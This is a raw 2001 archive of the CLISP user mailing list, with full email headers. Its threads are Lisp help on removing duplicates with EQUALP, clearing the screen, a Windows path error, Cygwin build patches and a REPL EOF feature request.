I'm trying to remove duplicates from a list. I have defined the following function: (defun noduplicates (list) (let ((set ())) (mapc #'(lambda (x) (setq set (adjoin x set :test #'equal))) list) set)) [17]> (setq b '( 1 2 3 4 5 1 2 3)) (1 2 3 4 5 1 2 3) [18]> (noduplicates b) (5 4 3 2 1) [19]> (setq b '( (1) (2) (3) (4) (5) (1) (2) (3))) ((1) (2) (3) (4) (5) (1) (2) (3)) [20]> (noduplicates b) ((5) (4) (3) (2) (1)) [21]> (setq b '( (1 1) (2 1) (3 1) (4 1) (5 1) (1 1) (2 1) (3 1))) ((1 1) (2 1) (3 1) (4 1) (5 1) (1 1) (2 1) (3 1)) [22]> (noduplicates b) ((5 1) (4 1) (3 1) (2 1) (1 1)) As you can see it works for "simple" lists... When it comes to a more complex lists it does not work... (setq z '((#3A(((3 4 0) (1 3 2) (1 3 2)) ((1 0 4) (4 0 0) (4 3 1)) ((2 1 0) (0 1 1) (0 3 3))) (0 1915)) (#3A(((0 2 1) (3 3 4) (3 4 0)) ((1 3 2) (3 3 1) (0 2 2)) ((3 1 4) (0 2 2) (1 4 1))) (0 1917)) (#3A(((2 4 0) (4 3 1) (4 1 0)) ((2 2 1) (4 3 0) (0 3 3)) ((1 2 0) (0 1 0) (0 2 2))) (0 2017)) (#3A(((3 4 0) (1 3 2) (1 3 2)) ((1 0 4) (4 0 0) (4 3 1)) ((2 1 0) (0 1 1) (0 3 3))) (0 1915)) (#3A(((3 4 0) (1 3 2) (1 3 2)) ((1 0 4) (4 0 0) (4 3 1)) ((2 1 0) (0 1 1) (0 3 3))) (0 1915))) ) [74]> (noduplicates z) ((#3A(((3 4 0) (1 3 2) (1 3 2)) ((1 0 4) (4 0 0) (4 3 1)) <== Duplicate ((2 1 0) (0 1 1) (0 3 3))) (0 1915)) (#3A(((3 4 0) (1 3 2) (1 3 2)) ((1 0 4) (4 0 0) (4 3 1)) <== Duplicate ((2 1 0) (0 1 1) (0 3 3))) (0 1915)) (#3A(((2 4 0) (4 3 1) (4 1 0)) ((2 2 1) (4 3 0) (0 3 3)) ((1 2 0) (0 1 0) (0 2 2))) (0 2017)) (#3A(((0 2 1) (3 3 4) (3 4 0)) ((1 3 2) (3 3 1) (0 2 2)) ((3 1 4) (0 2 2) (1 4 1))) (0 1917)) (#3A(((3 4 0) (1 3 2) (1 3 2)) ((1 0 4) (4 0 0) (4 3 1)) <== Duplicate ((2 1 0) (0 1 1) (0 3 3))) (0 1915))) [75]> What's going on?? How do I remove the duplicates from the list? Randy ------_=_NextPart_001_01C15EF3.88568540 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Remove duplicates from a complex list

Hi.

I'm trying to remove duplicates from a list.  =

I have defined the following function:


(defun noduplicates (list)
 (let ((set ()))
   (mapc #'(lambda (x)
         = (setq set (adjoin x set :test #'equal)))
      list)
    set))

[17]> (setq b '( 1 2 3 4 5 1 2 3))
(1 2 3 4 5 1 2 3)
[18]> (noduplicates b)
(5 4 3 2 1)

[19]> (setq b '( (1) (2) (3) (4) (5) (1) (2) = (3)))
((1) (2) (3) (4) (5) (1) (2) (3))
[20]> (noduplicates b)
((5) (4) (3) (2) (1))


[21]> (setq b '( (1 1) (2 1) (3 1) (4 1) (5 1) (1 = 1) (2 1) (3 1)))
((1 1) (2 1) (3 1) (4 1) (5 1) (1 1) (2 1) (3 = 1))
[22]> (noduplicates b)
((5 1) (4 1) (3 1) (2 1) (1 1))

As you can see it works for "simple" = lists...
When it comes to a more complex lists it does not = work...

(setq z  '((#3A(((3 4 0) (1 3 2) (1 3 2))
       ((1 0 4) (4 0 = 0) (4 3 1))
       ((2 1 0) (0 1 = 1) (0 3 3)))
  (0 1915))
 (#3A(((0 2 1) (3 3 4) (3 4 0))
      ((1 3 2) (3 3 1) (0 2 = 2))
      ((3 1 4) (0 2 2) (1 4 = 1)))
  (0 1917))
 (#3A(((2 4 0) (4 3 1) (4 1 0))
      ((2 2 1) (4 3 0) (0 3 = 3))
      ((1 2 0) (0 1 0) (0 2 = 2)))
  (0 2017))
 (#3A(((3 4 0) (1 3 2) (1 3 2))
      ((1 0 4) (4 0 0) (4 3 = 1))
      ((2 1 0) (0 1 1) (0 3 = 3)))
  (0 1915))
 (#3A(((3 4 0) (1 3 2) (1 3 2))
      ((1 0 4) (4 0 0) (4 3 = 1))
      ((2 1 0) (0 1 1) (0 3 = 3)))
  (0 1915)))
)


[74]> (noduplicates z)
((#3A(((3 4 0) (1 3 2) (1 3 2))
      ((1 0 4) (4 0 0) (4 3 = 1))         <=3D=3D = Duplicate  
      ((2 1 0) (0 1 1) (0 3 = 3)))
  (0 1915))
 (#3A(((3 4 0) (1 3 2) (1 3 2))
      ((1 0 4) (4 0 0) (4 3 = 1))         <=3D=3D = Duplicate
      ((2 1 0) (0 1 1) (0 3 = 3)))
  (0 1915))
 (#3A(((2 4 0) (4 3 1) (4 1 0))
      ((2 2 1) (4 3 0) (0 3 = 3))
      ((1 2 0) (0 1 0) (0 2 = 2)))
  (0 2017))
 (#3A(((0 2 1) (3 3 4) (3 4 0))
      ((1 3 2) (3 3 1) (0 2 = 2))
      ((3 1 4) (0 2 2) (1 4 = 1)))
  (0 1917))
 (#3A(((3 4 0) (1 3 2) (1 3 2))
      ((1 0 4) (4 0 0) (4 3 = 1))         <=3D=3D = Duplicate
      ((2 1 0) (0 1 1) (0 3 = 3)))
  (0 1915)))
[75]>

What's going on??  How do I remove the = duplicates from the list?


Randy
 

------_=_NextPart_001_01C15EF3.88568540-- From Randy.Justice@cnet.navy.mil Sat Oct 27 07:29:59 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15xUSn-0001SW-00 for ; Sat, 27 Oct 2001 07:29:29 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id JAA10300; Sat, 27 Oct 2001 09:28:29 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Sat, 27 Oct 2001 09:29:55 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: "'Arseny Slobodjuck '" , "Justice, Randy -CONT(DYN)" Cc: "'clisp-list@lists.sourceforge.net '" Subject: RE: [clisp-list] Clear screen MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C15EF3.D5FB88E0" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Oct 27 07:30:03 2001 X-Original-Date: Sat, 27 Oct 2001 09:29:50 -0500 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C15EF3.D5FB88E0 Content-Type: text/plain; charset="iso-8859-1" Thank You.. -----Original Message----- From: Arseny Slobodjuck To: Justice, Randy -CONT(DYN) Cc: clisp-list@lists.sourceforge.net Sent: 10/27/2001 10:27 AM Subject: Re: [clisp-list] Clear screen Hello Randy, Saturday, October 27, 2001, 1:16:22 AM, you wrote: Randy> What method exists to "clear screen"? See screen:clear-window in random screen access section of impnotes. -- Best regards, Arseny ------_=_NextPart_001_01C15EF3.D5FB88E0 Content-Type: text/html; charset="iso-8859-1" RE: [clisp-list] Clear screen

 
Thank You..
-----Original Message-----
From: Arseny Slobodjuck
To: Justice, Randy -CONT(DYN)
Cc: clisp-list@lists.sourceforge.net
Sent: 10/27/2001 10:27 AM
Subject: Re: [clisp-list] Clear screen

Hello Randy,

Saturday, October 27, 2001, 1:16:22 AM, you wrote:

Randy> What method exists to "clear screen"?

See screen:clear-window in random screen access section
of impnotes.

--
Best regards,
 Arseny

------_=_NextPart_001_01C15EF3.D5FB88E0-- From rrschulz@cris.com Sat Oct 27 08:28:00 2001 Received: from darius.concentric.net ([207.155.198.79]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15xVNJ-0000nG-00 for ; Sat, 27 Oct 2001 08:27:53 -0700 Received: from mcfeely.concentric.net (mcfeely.concentric.net [207.155.198.83]) by darius.concentric.net [Concentric SMTP Routing 1.0] id f9RFRmE05058 ; Sat, 27 Oct 2001 11:27:49 -0400 (EDT) Received: from Clemens.cris.com (da003d0438.sjc-ca.osd.concentric.net [64.1.1.183]) by mcfeely.concentric.net (8.9.1a) id LAA15473; Sat, 27 Oct 2001 11:27:46 -0400 (EDT) Message-Id: <5.1.0.14.2.20011027082727.0295aa80@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: "Justice, Randy -CONT(DYN)" , "'clisp-list@lists.sourceforge.net '" From: Randall R Schulz Subject: Re: [clisp-list] Remove duplicates from a complex list In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Oct 27 08:28:03 2001 X-Original-Date: Sat, 27 Oct 2001 08:28:17 -0700 Randy, Are neither of the built-ins "remove-duplicates" or "delete-duplicates" suitable for your purposes? They are part of the Common Lisp specification, so your favorite CL documentation should describe them. Randall Schulz Mountain View, CA USA At 07:27 2001-10-27, Justice, Randy -CONT(DYN) wrote: >Hi. > >I'm trying to remove duplicates from a list. > >... > >Randy From samuel.steingold@verizon.net Sat Oct 27 08:36:46 2001 Received: from smtp003pub.verizon.net ([206.46.170.182]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15xVVt-00039O-00 for ; Sat, 27 Oct 2001 08:36:45 -0700 Received: from xchange.com (pool-151-203-227-76.bos.east.verizon.net [151.203.227.76]) by smtp003pub.verizon.net with ESMTP ; id f9RFaF305970 Sat, 27 Oct 2001 10:36:16 -0500 (CDT) To: "Justice, Randy -CONT\(DYN\)" Cc: "'clisp-list@lists.sourceforge.net '" Subject: Re: [clisp-list] Remove duplicates from a complex list References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 39 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Oct 27 08:37:02 2001 X-Original-Date: 27 Oct 2001 11:36:31 -0400 > * In message > * On the subject of "[clisp-list] Remove duplicates from a complex list" > * Sent on Sat, 27 Oct 2001 09:27:40 -0500 > * Honorable "Justice, Randy -CONT\(DYN\)" writes: > > I'm trying to remove duplicates from a list. CLHS has DELETE-DUPLICATES and REMOVE-DUPLICATES > (defun noduplicates (list) > (let ((set ())) > (mapc #'(lambda (x) > (setq set (adjoin x set :test #'equal))) > list) > set)) > (setq z '((#3A(((3 4 0) (1 3 2) (1 3 2)) > ((1 0 4) (4 0 0) (4 3 1)) > ((2 1 0) (0 1 1) (0 3 3))) > (0 1915)) > (#3A(((0 2 1) (3 3 4) (3 4 0)) > ((1 3 2) (3 3 1) (0 2 2)) > ((3 1 4) (0 2 2) (1 4 1))) > (0 1917)) read about EQ, EQL, EQUAL and EQUALP in CLHS. (equal #(1 2 3) #(1 2 3)) ==> nil (equalp #(1 2 3) #(1 2 3)) ==> t -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Parachute for sale, once used, never opened, small stain. From ampy@ich.dvo.ru Sun Oct 28 17:10:55 2001 Received: from ripe.farpost.com ([80.92.160.130] helo=farpost.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15y0wG-0004NG-00 for ; Sun, 28 Oct 2001 17:10:04 -0800 Received: (qmail 16424 invoked from network); 29 Oct 2001 01:09:10 -0000 Received: from unknown (HELO vladpress.vl.ru) (212.107.205.50) by vladpress.vl.ru with SMTP; 29 Oct 2001 01:09:10 -0000 Received: from localhost [127.0.0.1] by vladpress [127.0.0.1] with SMTP (MDaemon.v2.7.SP4.R) for ; Mon, 29 Oct 2001 10:57:49 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <178256784997.20011029105748@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-MDaemon-Deliver-To: clisp-list@lists.sourceforge.net X-Return-Path: ampy@ich.dvo.ru Subject: [clisp-list] name of clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Oct 28 17:11:21 2001 X-Original-Date: Mon, 29 Oct 2001 10:57:48 +1000 Hello, Does 'CLISP' mean 'Candle Lisp' ? -- Best regards, Arseny From samuel.steingold@verizon.net Mon Oct 29 06:42:19 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15yDcH-0007b5-00 for ; Mon, 29 Oct 2001 06:42:17 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id JAA27171; Mon, 29 Oct 2001 09:41:56 -0500 (EST) X-Envelope-To: To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] name of clisp References: <178256784997.20011029105748@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <178256784997.20011029105748@ich.dvo.ru> Message-ID: Lines: 14 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 29 06:43:02 2001 X-Original-Date: 29 Oct 2001 09:41:23 -0500 > * In message <178256784997.20011029105748@ich.dvo.ru> > * On the subject of "[clisp-list] name of clisp" > * Sent on Mon, 29 Oct 2001 10:57:48 +1000 > * Honorable Arseny Slobodjuck writes: > > Does 'CLISP' mean 'Candle Lisp' ? no, I think the name comes from it being written (mostly) in C. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! NY survival guide: when crossing a street, mind cars, not streetlights. From pab7@earthlink.net Sun Nov 04 16:11:41 2001 Received: from avocet.mail.pas.earthlink.net ([207.217.120.50] helo=avocet.prod.itd.earthlink.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 160XMb-000266-00 for ; Sun, 04 Nov 2001 16:11:41 -0800 Received: from user-33qtnuc.dialup.mindspring.com ([199.174.223.204] helo=MELVINA) by avocet.prod.itd.earthlink.net with smtp (Exim 3.33 #1) id 160XMa-0000gL-00 for clisp-list@lists.sourceforge.net; Sun, 04 Nov 2001 16:11:40 -0800 Message-ID: <001d01c1658e$611daa20$52d9aec7@MELVINA> From: "Pat Bailey" To: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_001A_01C1654A.0FA1ECE0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Subject: [clisp-list] windows 2k file loading problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 4 16:12:02 2001 X-Original-Date: Sun, 4 Nov 2001 16:02:10 -0800 This is a multi-part message in MIME format. ------=_NextPart_000_001A_01C1654A.0FA1ECE0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I was using clisp on Win 98 and had no problems. I installed it on Win = 2000 and when I try to load any files aother than what is in the src = dir, I get *** - Win32 error 3(ERROR_PATH_NOT_FOUND): The system cannot find the = path specified. Anybody know what I forgot to do when I reinstalled? Thanks Paul Baker ------=_NextPart_000_001A_01C1654A.0FA1ECE0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I was using clisp on Win 98 and had no = problems. I=20 installed it on Win 2000 and when I try to load any files aother than = what is in=20 the src dir, I get
 
*** - Win32 error = 3(ERROR_PATH_NOT_FOUND): The=20 system cannot find the path specified.
 
 
Anybody know what I forgot to do when I = reinstalled?
 
Thanks
 
Paul Baker
------=_NextPart_000_001A_01C1654A.0FA1ECE0-- From samuel.steingold@verizon.net Sun Nov 04 18:29:16 2001 Received: from [206.46.170.189] (helo=smtp010pub.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 160ZVh-0005IQ-00 for ; Sun, 04 Nov 2001 18:29:16 -0800 Received: from xchange.com (pool-151-203-227-76.bos.east.verizon.net [151.203.227.76]) by smtp010pub.verizon.net with ESMTP ; id fA52Tp809855 Sun, 4 Nov 2001 20:29:52 -0600 (CST) To: "Pat Bailey" Cc: Subject: Re: [clisp-list] windows 2k file loading problem References: <001d01c1658e$611daa20$52d9aec7@MELVINA> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <001d01c1658e$611daa20$52d9aec7@MELVINA> Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 4 18:30:02 2001 X-Original-Date: 04 Nov 2001 21:28:37 -0500 > * In message <001d01c1658e$611daa20$52d9aec7@MELVINA> > * On the subject of "[clisp-list] windows 2k file loading problem" > * Sent on Sun, 4 Nov 2001 16:02:10 -0800 > * Honorable "Pat Bailey" writes: > > I was using clisp on Win 98 and had no problems. I installed it on Win > 2000 and when I try to load any files aother than what is in the src > dir, I get > > *** - Win32 error 3(ERROR_PATH_NOT_FOUND): The system cannot find the path specified. how do you start clisp? please show a full transcript. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Those who can laugh at themselves will never cease to be amused. From David.Billinghurst@riotinto.com Mon Nov 05 04:45:43 2001 Received: from old-n2-130.infonet.com ([192.157.130.138] helo=old-n2.infonet.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 160j8J-0000tV-00 for ; Mon, 05 Nov 2001 04:45:43 -0800 Received: from infexch02.infonet.com (riotinto.com [192.92.62.84]) by old-n2.infonet.com (8.11.3/8.6.12) with ESMTP id fA5CjIE01084; Mon, 5 Nov 2001 12:45:19 GMT Received: by INFEXCH02 with Internet Mail Service (5.5.2653.19) id ; Mon, 5 Nov 2001 12:45:39 -0000 Message-ID: <8D00C32549556B4E977F81DBC24E985D410053@crtsmail1.technol_exch.corp.riotinto.org> From: "Billinghurst, David (CRTS)" To: "'clisp-list@lists.sourceforge.net'" Cc: maxima@www.ma.utexas.edu MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] compiling clisp-2.27 on cygwin Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 5 04:46:06 2001 X-Original-Date: Mon, 5 Nov 2001 12:45:13 -0000 Just a note to say that I have built clisp-2.27 on windows 2000 using cygwin. I was then able to compile a maxima, and it "sort of works". There were two minor problems. configure detects IPv6 due to some incomplete headers in the cygwin distribution. This can be worked around by editing $(build)/unixconf.h and replacing #define HAVE_IPV6 1 with #undef HAVE_IPV6 A better solution would be to fix improve the IPv6 detection, as was done for gcc-3 cygwin doesn't have getservent(). This was worked around by modifying src/socket.d near line 847, changing #ifndef WIN32 to #if !defined(WIN32) || ! defined (__CYGWIN__) I guess an autoconf test for getservent() would be preferable. The build then proceded normally. There was one testsuite failure in excepsit.erg. +++++++++++++++++++++++++++++++++++++++++ (Mr) David Billinghurst Comalco Research Centre PO Box 316, Thomastown, Vic, Australia, 3074 Phone: +61 3 9469 0642 FAX: +61 3 9462 2700 Email: David.Billinghurst@riotinto.com From kaz@footprints.net Mon Nov 05 13:28:07 2001 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 160rHq-0008LJ-00 for ; Mon, 05 Nov 2001 13:28:06 -0800 Received: from kaz (helo=localhost) by ashi.FootPrints.net with local-esmtp (Exim 3.16 #1) id 160rHm-0005wl-00 for clisp-list@lists.sourceforge.net; Mon, 05 Nov 2001 13:28:02 -0800 From: Kaz Kylheku To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Small feature idea. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 5 13:29:01 2001 X-Original-Date: Mon, 5 Nov 2001 13:28:02 -0800 (PST) It would be nice to guard against bailing out of the current read-eval-print loop (and hence out of clisp, if in the topmost one) when some evaluated input function has received an EOF indication from the terminal. E.g. currently we get behavior like: [1]> (read t nil) NIL <- typed ctrl-D here oops-system-prompt:~$ _ The EOF condition is not cleared, and so is visible to the read-eval-print. As a workaround, it seems that clear-input has the effect of removing the EOF indication: (progn (read t nil)(clear-input t)) Perhaps this clearing should be done implicitly, the same way it is done when you use an EOF indication to bail out of a nested read-eval-print loop? From samuel.steingold@verizon.net Mon Nov 05 13:49:21 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 160rcO-0004KX-00 for ; Mon, 05 Nov 2001 13:49:20 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id QAA08398; Mon, 5 Nov 2001 16:49:16 -0500 (EST) X-Envelope-To: To: Kaz Kylheku Cc: Subject: Re: [clisp-list] Small feature idea. References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 5 13:50:03 2001 X-Original-Date: 05 Nov 2001 16:48:30 -0500 > * In message > * On the subject of "[clisp-list] Small feature idea." > * Sent on Mon, 5 Nov 2001 13:28:02 -0800 (PST) > * Honorable Kaz Kylheku writes: > > It would be nice to guard against bailing out of the current > read-eval-print loop (and hence out of clisp, if in the topmost one) > when some evaluated input function has received an EOF indication > from the terminal. E.g. currently we get behavior like: > > [1]> (read t nil) > NIL <- typed ctrl-D here > oops-system-prompt:~$ _ this has already been fixed in the sources (2001-10-15) thanks. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Two wrongs don't make a right, but three rights make a left. From kaz@footprints.net Tue Nov 06 00:33:58 2001 Received: from panoramix.valinux.com ([198.186.202.147] helo=mail2.valinux.com) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1611gD-0006Xu-00 for ; Tue, 06 Nov 2001 00:33:57 -0800 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by mail2.valinux.com with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 160yLw-000826-00 for ; Mon, 05 Nov 2001 21:00:49 -0800 Received: from kaz (helo=localhost) by ashi.FootPrints.net with local-esmtp (Exim 3.16 #1) id 160yLk-00080l-00; Mon, 05 Nov 2001 21:00:36 -0800 From: Kaz Kylheku To: Sam Steingold cc: Subject: Re: [clisp-list] Small feature idea. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 6 00:34:23 2001 X-Original-Date: Mon, 5 Nov 2001 21:00:36 -0800 (PST) On 5 Nov 2001, Sam Steingold wrote: > this has already been fixed in the sources (2001-10-15) > thanks. Cool. I guess I'm not building sufficiently close on the bleeding edge here. By the way, that little e-mail you got is generated by a mail cookie program that I recently hacked up in Lisp, running on CLISP. If you are ticked off at getting all this auto-generated crap from me, I hope that provides some consolation. ;) From samuel.steingold@verizon.net Tue Nov 06 06:52:49 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1617aq-0006Kz-00 for ; Tue, 06 Nov 2001 06:52:48 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id JAA01128; Tue, 6 Nov 2001 09:52:45 -0500 (EST) X-Envelope-To: To: Subject: Re: [clisp-list] Small feature idea. References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 6 06:53:06 2001 X-Original-Date: 06 Nov 2001 09:51:31 -0500 > * In message > * On the subject of "Re: [clisp-list] Small feature idea." > * Sent on Mon, 5 Nov 2001 21:00:36 -0800 (PST) > * Honorable Kaz Kylheku writes: > > By the way, that little e-mail you got is generated by a mail cookie > program that I recently hacked up in Lisp, running on CLISP. > > If you are ticked off at getting all this auto-generated crap from me, > I hope that provides some consolation. ;) I consider this system to be rude. I will not send any mail to you in the future. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! If I had known that it was harmless, I would have killed it myself. From seniorr@aracnet.com Thu Nov 08 23:00:54 2001 Received: from bonneville.tdb.com ([216.99.214.10] helo=coulee.tdb.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1625en-0003E6-00 for ; Thu, 08 Nov 2001 23:00:53 -0800 Received: (qmail 11723 invoked by uid 1001); 9 Nov 2001 07:00:46 -0000 To: From: Russell Senior In-Reply-To: <8D00C32549556B4E977F81DBC24E985D410053@crtsmail1.technol_exch.corp.riotinto.org> Message-ID: <861yj8o2ch.fsf@coulee.tdb.com> Lines: 50 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] stream trouble Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: 